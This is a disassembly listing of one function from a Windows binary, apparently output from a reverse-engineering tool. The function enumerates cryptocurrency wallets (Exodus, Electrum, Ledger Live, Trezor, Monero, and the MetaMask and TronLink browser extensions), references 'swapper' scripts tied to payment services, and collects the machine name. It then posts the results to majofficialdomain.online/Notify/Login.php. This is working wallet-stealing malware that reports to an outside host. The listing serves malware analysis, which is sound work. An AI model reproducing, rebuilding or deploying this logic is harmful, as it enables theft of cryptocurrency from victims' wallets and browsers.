Function at 0x14000cf40
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0xa70
mov rax, qword [0x14007c100]
xor rax, rsp
mov qword [rsp + 0xa60], rax
xor esi, esi
lea rcx, str.APPDATA
call fcn.140045d20
mov rdi, 0xffffffffffffffff
test rax, rax
je 0x14000d028
xorps xmm0, xmm0
movups xmmword [rsp + 0x6c0], xmm0
mov qword [rsp + 0x6d0], rsi
mov qword [rsp + 0x6d8], rsi
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], sil
jne 0x14000cfb0
mov rdx, rax
lea rcx, [rsp + 0x6c0]
call fcn.14001ec30
mov rdx, qword [0x14007cd98]
cmp rdx, 0xf
jbe 0x14000d00a
mov rcx, qword [0x14007cd80]
inc rdx
cmp rdx, 0x1000
jb 0x14000d005
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140010ba0
mov rcx, r8
call fcn.140035dd0
movups xmm0, xmmword [rsp + 0x6c0]
movups xmmword [0x14007cd80], xmm0
movups xmm1, xmmword [rsp + 0x6d0]
movups xmmword [0x14007cd90], xmm1
lea rcx, str.LOCALAPPDATA
call fcn.140045d20
test rax, rax
je 0x14000d0d8
xorps xmm0, xmm0
movups xmmword [rsp + 0x6c0], xmm0
mov qword [rsp + 0x6d0], rsi
mov qword [rsp + 0x6d8], rsi
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x14000d060
mov rdx, rax
lea rcx, [rsp + 0x6c0]
call fcn.14001ec30
mov rdx, qword [0x14007cdb8]
cmp rdx, 0xf
jbe 0x14000d0ba
mov rcx, qword [0x14007cda0]
inc rdx
cmp rdx, 0x1000
jb 0x14000d0b5
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140010ba0
mov rcx, r8
call fcn.140035dd0
movups xmm0, xmmword [rsp + 0x6c0]
movups xmmword [0x14007cda0], xmm0
movups xmm1, xmmword [rsp + 0x6d0]
movups xmmword [0x14007cdb0], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0x810], xmm0
movups xmmword [rsp + 0x820], xmm0
movups xmmword [rsp + 0x830], xmm0
movups xmmword [rsp + 0x840], xmm0
lea rax, [rsp + 0x810]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x810], esi
mov qword [rsp + 0x818], rsi
mov qword [rsp + 0x820], rsi
mov ecx, 0x50
call fcn.140035dd8
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rsp + 0x818], rax
mov qword [rsp + 0x828], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x830], xmm0
mov qword [rsp + 0x840], 7
mov qword [rsp + 0x848], 8
mov dword [rsp + 0x810], 0x3f800000
mov r8, rax
mov edx, 0x10
lea rcx, [rsp + 0x828]
call fcn.140019370
nop
lea rcx, [rsp + 0x810]
call fcn.140006440
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x660], xmm0
movups xmmword [rsp + 0x670], xmm0
movups xmmword [rsp + 0x680], xmm0
movups xmmword [rsp + 0x690], xmm0
lea rax, [rsp + 0x660]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x660], 0
mov qword [rsp + 0x668], rsi
mov qword [rsp + 0x670], rsi
mov ecx, 0x50
call fcn.140035dd8
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rsp + 0x668], rax
mov qword [rsp + 0x678], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x680], xmm0
mov qword [rsp + 0x690], 7
mov qword [rsp + 0x698], 8
mov dword [rsp + 0x660], 0x3f800000
mov r8, rax
mov edx, 0x10
lea rcx, [rsp + 0x678]
call fcn.140019370
nop
lea rcx, [rsp + 0x660]
call fcn.140006440
nop
lea rcx, [rsp + 0x660]
call fcn.140006f20
nop
lea rcx, [rsp + 0x660]
call fcn.140007450
xorps xmm0, xmm0
movups xmmword [rsp + 0x6a0], xmm0
mov qword [rsp + 0x6b0], rsi
mov qword [rsp + 0x6b8], rsi
mov r15d, 3
mov r8d, r15d
lea rdx, [0x14006de70]
lea rcx, [rsp + 0x6a0]
call fcn.14001ec30
nop
lea r8, [rsp + 0x6a0]
lea rdx, [rsp + 0x870]
lea rcx, [rsp + 0x810]
call fcn.140006d30
nop
mov rdx, qword [rsp + 0x6b8]
cmp rdx, 0xf
jbe 0x14000d307
inc rdx
mov rcx, qword [rsp + 0x6a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d302
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010b9a
call fcn.140035dd0
lea rcx, [rsp + 0x870]
mov r12, qword [rsp + 0x870]
cmp qword [rsp + 0x888], 0xf
cmova rcx, r12
mov r8, qword [rsp + 0x880]
cmp r8, 5
jne 0x14000e395
lea rdx, str.false
call fcn.14005e2c0
test eax, eax
jne 0x14000e395
lea rcx, [rsp + 0x6e0]
call fcn.140007cd0
nop
lea rdx, [0x14006de70]
lea rcx, [rsp + 0x80]
call fcn.140013a10
nop
lea r8, [rsp + 0x6e0]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x810]
call fcn.140006bb0
nop
lea rcx, [rsp + 0x80]
call fcn.140013810
lea rdx, str.Directext_script.js
lea rcx, [rsp + 0x850]
call fcn.140013a10
nop
lea rdx, str.Directext2_script.js
lea rcx, [rsp + 0x9a0]
call fcn.140013a10
nop
lea rdx, str.Directext3_script.js
lea rcx, [rsp + 0x980]
call fcn.140013a10
nop
lea rdx, str.Directext4_script.js
lea rcx, [rsp + 0x960]
call fcn.140013a10
nop
lea rdx, str.Direct_swapperBitrefill.js
lea rcx, [rsp + 0x940]
call fcn.140013a10
nop
lea rdx, str.Direct_swapperCryptomus.js
lea rcx, [rsp + 0x920]
call fcn.140013a10
nop
lea rdx, str.Direct_swapper_fixedfloat.js
lea rcx, [rsp + 0x9c0]
call fcn.140013a10
nop
lea rdx, str.Direct_swapperG2A.js
lea rcx, [rsp + 0x9e0]
call fcn.140013a10
nop
lea rdx, str.Direct_swapperhoodpay.js
lea rcx, [rsp + 0xa00]
call fcn.140013a10
nop
lea rdx, str.Direct_swapper_sellix.js
lea rcx, [rsp + 0xa20]
call fcn.140013a10
nop
lea rdx, [0x14006de70]
lea rcx, [rsp + 0x80]
call fcn.140013a10
nop
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x810]
call fcn.140006d30
nop
lea rcx, [rsp + 0x80]
call fcn.140013810
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x850]
call fcn.140005200
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x9a0]
call fcn.140005200
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x980]
call fcn.140005200
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x960]
call fcn.140005200
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x940]
call fcn.140005c40
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x920]
call fcn.140005c40
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x9c0]
call fcn.140005c40
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x9e0]
call fcn.140005c40
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0xa00]
call fcn.140005c40
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0xa20]
call fcn.140005c40
lea rdx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_536.46__KHTML__like_Gecko__Chrome_49.0.2623.229_Safari_602.0_Edge_14.86840
lea rcx, [rsp + 0xa40]
call fcn.140013a10
nop
lea rcx, str.COMPUTERNAME
call fcn.140045d20
mov rdx, rax
lea rcx, [rsp + 0x620]
call fcn.140013a10
mov rbx, rax
lea r8, [rsp + 0xa40]
lea rdx, str.userAgent
lea rcx, [rsp + 0x6a0]
call fcn.14001d020
nop
lea r8, str.IDF
mov rdx, rax
lea rcx, [rsp + 0x6c0]
call fcn.14001cda0
nop
lea r8, [rsp + 0x6e0]
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.14001ce10
nop
lea r8, str.Machine
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.14001cda0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x720]
call fcn.14001ce80
nop
lea rcx, [rsp + 0xa0]
call fcn.140013810
nop
lea rcx, [rsp + 0x80]
call fcn.140013810
nop
lea rcx, [rsp + 0x6c0]
call fcn.140013810
nop
lea rcx, [rsp + 0x6a0]
call fcn.140013810
nop
lea rcx, [rsp + 0x620]
call fcn.140013810
lea rcx, [rsp + 0x7c0]
call fcn.140010fc0
lea r8, str.Exodus
lea rdx, [0x14007cd80]
lea rcx, [rsp + 0x660]
call fcn.14001cc30
nop
mov r8, rax
lea rdx, [0x14006e218]
lea rcx, [rsp + 0x260]
call fcn.14001d6f0
nop
lea r8, str.Electrum
lea rdx, [0x14007cd80]
lea rcx, [rsp + 0x40]
call fcn.14001cc30
nop
mov r8, rax
lea rdx, [0x14006e228]
lea rcx, [rsp + 0x2a0]
call fcn.14001d6f0
nop
lea r8, str._atomic
lea rdx, [0x14007cd80]
lea rcx, [rsp + 0xe0]
call fcn.14001cc30
nop
mov r8, rax
lea rdx, str.Atomic
lea rcx, [rsp + 0x2e0]
call fcn.14001d6f0
nop
lea r8, str.Guarda
lea rdx, [0x14007cd80]
lea rcx, [rsp + 0x100]
call fcn.14001cc30
nop
mov r8, rax
lea rdx, [0x14006e244]
lea rcx, [rsp + 0x320]
call fcn.14001d6f0
nop
lea r8, str.Coinomi
lea rdx, [0x14007cda0]
lea rcx, [rsp + 0xc0]
call fcn.14001cc30
nop
mov r8, rax
lea rcx, [rsp + 0x360]
call fcn.14001d770
nop
lea r8, str.monero_wallet_gui
lea rdx, [0x14007cd80]
lea rcx, [rsp + 0x120]
call fcn.14001cc30
nop
mov r8, rax
lea rdx, str.Monero
lea rcx, [rsp + 0x3a0]
call fcn.14001d6f0
nop
lea r8, str.Ledger_Live
lea rdx, [0x14007cd80]
lea rcx, [rsp + 0x140]
call fcn.14001cc30
nop
mov r8, rax
lea rdx, str.Ledger
lea rcx, [rsp + 0x3e0]
call fcn.14001d6f0
nop
lea r8, str._bitbox
lea rdx, [0x14007cd80]
lea rcx, [rsp + 0x160]
call fcn.14001cc30
nop
mov r8, rax
lea rdx, str.Bitbox
lea rcx, [rsp + 0x420]
call fcn.14001d6f0
nop
lea r8, str._trezor
lea rdx, [0x14007cd80]
lea rcx, [rsp + 0x180]
call fcn.14001cc30
nop
mov r8, rax
lea rdx, str.Trezor
lea rcx, [rsp + 0x460]
call fcn.14001d6f0
nop
lea r8, str.GoogleChromeUser_DataDefaultLocal_Extension_Settings_nkbihfbeogaeaoehlefnkodbefgpgknn
lea rdx, [0x14007cda0]
lea rcx, [rsp + 0x1a0]
call fcn.14001cc30
nop
mov r8, rax
lea rdx, str.Metamask
lea rcx, [rsp + 0x4a0]
call fcn.14001d6f0
nop
lea r8, str.GoogleChromeUser_DataDefaultLocal_Extension_Settingsibnejdfjmmkpcnlpebklmnkoeoihofec
lea rdx, [0x14007cda0]
lea rcx, [rsp + 0x1c0]
call fcn.14001cc30
nop
mov r8, rax
lea rdx, str.Tronlink
lea rcx, [rsp + 0x4e0]
call fcn.14001d6f0
nop
lea r8, str.GoogleChromeUser_DataDefaultLocal_Extension_Settingsegjidjbpglichdcondbcbdnbeeppgdph
lea rdx, [0x14007cda0]
lea rcx, [rsp + 0x1e0]
call fcn.14001cc30
nop
mov r8, rax
lea rcx, [rsp + 0x520]
call fcn.14001d7f0
nop
lea r8, str.GoogleChromeUser_DataDefaultLocal_Extension_Settingshifafgmccdpekplomjjkcfgodnhcellj
lea rdx, [0x14007cda0]
lea rcx, [rsp + 0x200]
call fcn.14001cc30
nop
mov r8, rax
lea rcx, [rsp + 0x560]
call fcn.14001d870
nop
lea r8, str.WalletWasabi
lea rdx, [0x14007cd80]
lea rcx, [rsp + 0x220]
call fcn.14001cc30
nop
mov r8, rax
lea rdx, str.wasabi
lea rcx, [rsp + 0x5a0]
call fcn.14001d6f0
nop
lea r8, str.Daedalus_Mainnet
lea rdx, [0x14007cd80]
lea rcx, [rsp + 0x240]
call fcn.14001cc30
nop
mov r8, rax
lea rdx, str.daedalus
lea rcx, [rsp + 0x5e0]
call fcn.14001d6f0
nop
lea rax, [rsp + 0x260]
mov qword [rsp + 0x620], rax
lea rax, [rsp + 0x620]
mov qword [rsp + 0x628], rax
movaps xmm0, xmmword [rsp + 0x620]
movdqa xmmword [rsp + 0x620], xmm0
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x7c0]
call fcn.140010fe0
nop
lea r9, [fcn.1400073a0]
mov edx, 0x40
mov r8d, 0xf
lea rcx, [rsp + 0x260]
call fcn.140035e14
nop
lea rcx, [rsp + 0x240]
call fcn.140013810
nop
lea rcx, [rsp + 0x220]
call fcn.140013810
nop
lea rcx, [rsp + 0x200]
call fcn.140013810
nop
lea rcx, [rsp + 0x1e0]
call fcn.140013810
nop
lea rcx, [rsp + 0x1c0]
call fcn.140013810
nop
lea rcx, [rsp + 0x1a0]
call fcn.140013810
nop
lea rcx, [rsp + 0x180]
call fcn.140013810
nop
lea rcx, [rsp + 0x160]
call fcn.140013810
nop
lea rcx, [rsp + 0x140]
call fcn.140013810
nop
lea rcx, [rsp + 0x120]
call fcn.140013810
nop
lea rcx, [rsp + 0xc0]
call fcn.140013810
nop
lea rcx, [rsp + 0x100]
call fcn.140013810
nop
lea rcx, [rsp + 0xe0]
call fcn.140013810
nop
lea rcx, [rsp + 0x40]
call fcn.140013810
nop
lea rcx, [rsp + 0x660]
call fcn.140013810
xor r12b, r12b
mov r13, qword [rsp + 0x7c8]
mov rbx, qword [rsp + 0x7c0]
cmp rbx, r13
je 0x140010be8
add rbx, 0x20
nop word [rax + rax]
mov rcx, qword [rbx + 0x10]
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000dae1
mov rax, qword [rbx]
mov qword [rsp + 0x620], rax
mov qword [rsp + 0x628], rcx
call fcn.1400323b4
movaps xmm0, xmmword [rsp + 0x620]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rsp + 0x6c0]
call fcn.140003400
nop
lea rcx, [rsp + 0x6c0]
call fcn.140004430
movzx r14d, al
mov rdx, qword [rsp + 0x6d8]
cmp rdx, 7
jbe 0x14000db72
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x6c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000db6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010ba6
call fcn.140035dd0
xorps xmm0, xmm0
mov qword [rsp + 0x6b0], rsi
mov qword [rsp + 0x6b8], rsi
mov r8d, 9
lea rcx, [rsp + 0x6a0]
movups xmmword [rsp + 0x6a0], xmm0
test r14b, r14b
je 0x14000dde2
mov r12b, 1
lea rdx, str._E2_9C_85
call fcn.14001ec30
nop
lea rdx, [rbx - 0x20]
lea rcx, [rsp + 0xa0]
call fcn.140007820
nop
mov r8, rax
lea rcx, [rsp + 0x6c0]
call fcn.14001cef0
nop
mov r8d, 1
lea rdx, [0x14006eeac]
mov rcx, rax
call fcn.1400174d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x6a0]
cmp qword [rsp + 0x6b8], 0xf
cmova rdx, qword [rsp + 0x6a0]
mov r8, qword [rsp + 0x6b0]
lea rcx, [rsp + 0x60]
call fcn.1400174d0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x90], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x80]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x720]
call fcn.1400174d0
nop
mov rdx, qword [rsp + 0x98]
cmp rdx, 0xf
jbe 0x14000dcea
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dce4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010bac
call fcn.140035dd0
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000dd27
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dd22
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010bb2
call fcn.140035dd0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x6d8]
cmp rdx, 0xf
jbe 0x14000dd7d
inc rdx
mov rcx, qword [rsp + 0x6c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dd78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010bb8
call fcn.140035dd0
mov qword [rsp + 0x6d0], rsi
mov qword [rsp + 0x6d8], 0xf
mov byte [rsp + 0x6c0], 0
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0xf
jbe 0x14000dddd
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ddd7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010bbe
call fcn.140035dd0
nop
jmp 0x14000e018
lea rdx, str._E2_9D_8C
call fcn.14001ec30
nop
lea rdx, [rbx - 0x20]
lea rcx, [rsp + 0xa0]
call fcn.140007820
nop
mov r8, rax
lea rcx, [rsp + 0x6c0]
call fcn.14001cef0
nop
mov r8d, 1
lea rdx, [0x14006eeac]
mov rcx, rax
call fcn.1400174d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x6a0]
cmp qword [rsp + 0x6b8], 0xf
cmova rdx, qword [rsp + 0x6a0]
mov r8, qword [rsp + 0x6b0]
lea rcx, [rsp + 0x60]
call fcn.1400174d0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x90], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x80]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x720]
call fcn.1400174d0
nop
mov rdx, qword [rsp + 0x98]
cmp rdx, 0xf
jbe 0x14000df25
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000df1f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010bc4
call fcn.140035dd0
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000df62
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000df5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010bca
call fcn.140035dd0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x6d8]
cmp rdx, 0xf
jbe 0x14000dfb8
inc rdx
mov rcx, qword [rsp + 0x6c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dfb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010bd0
call fcn.140035dd0
mov qword [rsp + 0x6d0], rsi
mov qword [rsp + 0x6d8], 0xf
mov byte [rsp + 0x6c0], 0
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0xf
jbe 0x14000e018
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e012
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010bd6
call fcn.140035dd0
nop
mov rdx, qword [rsp + 0x6b8]
cmp rdx, 0xf
jbe 0x14000e05b
inc rdx
mov rcx, qword [rsp + 0x6a0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000e056
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010bdc
call fcn.140035dd0
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, r13
jne 0x14000dad0
test r12b, r12b
je 0x140010be8
call fcn.14000ca80
lea rdx, [rsp + 0x720]
cmp qword [rsp + 0x738], 0xf
cmova rdx, qword [rsp + 0x720]
mov r8, qword [rsp + 0x730]
lea rcx, [0x14007dcf0]
call fcn.140028920
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.A_WinHTTP_Example_Program_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rbx, rax
test rax, rax
je 0x14000e135
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, str.majofficialdomain.online
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r12, rax
test rax, rax
je 0x14000e12b
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.Notify_Login.php
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r14, rax
test rax, rax
jne 0x14000e256
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
lea rcx, [rsp + 0x7c0]
call fcn.140016c20
nop
lea rcx, [rsp + 0x720]
call fcn.140013810
nop
lea rcx, [rsp + 0xa40]
call fcn.140013810
nop
lea rcx, [rsp + 0x700]
call fcn.140013810
nop
lea rcx, [rsp + 0xa20]
call fcn.140013810
nop
lea rcx, [rsp + 0xa00]
call fcn.140013810
nop
lea rcx, [rsp + 0x9e0]
call fcn.140013810
nop
lea rcx, [rsp + 0x9c0]
call fcn.140013810
nop
lea rcx, [rsp + 0x920]
call fcn.140013810
nop
lea rcx, [rsp + 0x940]
call fcn.140013810
nop
lea rcx, [rsp + 0x960]
call fcn.140013810
nop
lea rcx, [rsp + 0x980]
call fcn.140013810
nop
lea rcx, [rsp + 0x9a0]
call fcn.140013810
nop
lea rcx, [rsp + 0x850]
call fcn.140013810
nop
lea rcx, [rsp + 0x6e0]
call fcn.140013810
nop
lea rcx, [rsp + 0x870]
call fcn.140013810
nop
lea rcx, [rsp + 0x810]
call fcn.140007450
mov eax, edi
mov rcx, qword [rsp + 0xa60]
xor rcx, rsp
call fcn.140035db0
lea r11, [rsp + 0xa70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea rcx, [rsp + 0x720]
call fcn.1400137e0
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x730]
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], ecx
mov r9, rax
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_x_www_form_urlencoded
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x14000e2a0
xor edx, edx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
lea rcx, [rsp + 0x7c0]
call fcn.140016c20
nop
lea rcx, [rsp + 0x720]
call fcn.140013810
nop
lea rcx, [rsp + 0xa40]
call fcn.140013810
nop
lea rcx, [rsp + 0x700]
call fcn.140013810
nop
lea rcx, [rsp + 0xa20]
call fcn.140013810
nop
lea rcx, [rsp + 0xa00]
call fcn.140013810
nop
lea rcx, [rsp + 0x9e0]
call fcn.140013810
nop
lea rcx, [rsp + 0x9c0]
call fcn.140013810
nop
lea rcx, [rsp + 0x920]
call fcn.140013810
nop
lea rcx, [rsp + 0x940]
call fcn.140013810
nop
lea rcx, [rsp + 0x960]
call fcn.140013810
nop
lea rcx, [rsp + 0x980]
call fcn.140013810
nop
lea rcx, [rsp + 0x9a0]
call fcn.140013810
nop
lea rcx, [rsp + 0x850]
call fcn.140013810
nop
lea rcx, [rsp + 0x6e0]
call fcn.140013810
mov r12, qword [rsp + 0x870]
xorps xmm0, xmm0
movups xmmword [rsp + 0x6e0], xmm0
mov qword [rsp + 0x6f0], rsi
mov qword [rsp + 0x6f8], rsi
mov r8, r15
lea rdx, [0x14006de74]
lea rcx, [rsp + 0x6e0]
call fcn.14001ec30
nop
lea r8, [rsp + 0x6e0]
lea rdx, [rsp + 0x6c0]
lea rcx, [rsp + 0x810]
call fcn.140006d30
nop
mov rdx, qword [rsp + 0x6f8]
cmp rdx, 0xf
jbe 0x14000e429
inc rdx
mov rcx, qword [rsp + 0x6e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e424
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010dfd
call fcn.140035dd0
call fcn.1400090f0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x6c0]
mov r14, qword [rsp + 0x6c0]
mov r13, qword [rsp + 0x6d8]
cmp r13, 0xf
cmova rcx, r14
mov r8, qword [rsp + 0x6d0]
cmp r8, 5
jne 0x14000e4df
lea rdx, str.false
call fcn.14005e2c0
test eax, eax
jne 0x14000e4df
call fcn.1400093a0
lea rdx, str.true
lea rcx, [rsp + 0x80]
call fcn.140013a10
nop
lea rdx, [0x14006de74]
lea rcx, [rsp + 0xa0]
call fcn.140013a10
nop
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x810]
call fcn.140006bb0
nop
lea rcx, [rsp + 0xa0]
call fcn.140013810
nop
lea rcx, [rsp + 0x80]
call fcn.140013810
lea rcx, str.LOCALAPPDATA
call fcn.140045d20
xorps xmm0, xmm0
movups xmmword [rsp + 0x760], xmm0
mov qword [rsp + 0x770], rsi
mov qword [rsp + 0x778], rsi
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000e510
mov rdx, rax
lea rcx, [rsp + 0x760]
call fcn.14001ec30
nop
lea rcx, str.APPDATA
call fcn.140045d20
xorps xmm0, xmm0
movups xmmword [rsp + 0x850], xmm0
mov qword [rsp + 0x860], rsi
mov qword [rsp + 0x868], rsi
inc rdi
cmp byte [rax + rdi], 0
jne 0x14000e552
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x850]
call fcn.14001ec30
nop
lea rax, str.Google_Chrome_User_Data_Default_Local_Extension_Settings_nkbihfbeogaeaoehlefnkodbefgpgknn
mov qword [rsp + 0x620], rax
mov qword [rsp + 0x628], 0x59
call fcn.1400323b4
movaps xmm0, xmmword [rsp + 0x620]
movdqa xmmword [rsp + 0x620], xmm0
lea r8, [rsp + 0x620]
mov edx, eax
lea rcx, [rsp + 0x720]
call fcn.140003400
nop
lea rax, [rsp + 0x760]
cmp qword [rsp + 0x778], 0xf
cmova rax, qword [rsp + 0x760]
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x770]
mov qword [rsp + 0x628], rax
call fcn.1400323b4
movaps xmm0, xmmword [rsp + 0x620]
movdqa xmmword [rsp + 0x620], xmm0
lea r8, [rsp + 0x620]
mov edx, eax
lea rcx, [rsp + 0x6a0]
call fcn.140003400
nop
lea r8, [rsp + 0x720]
lea rdx, [rsp + 0x6a0]
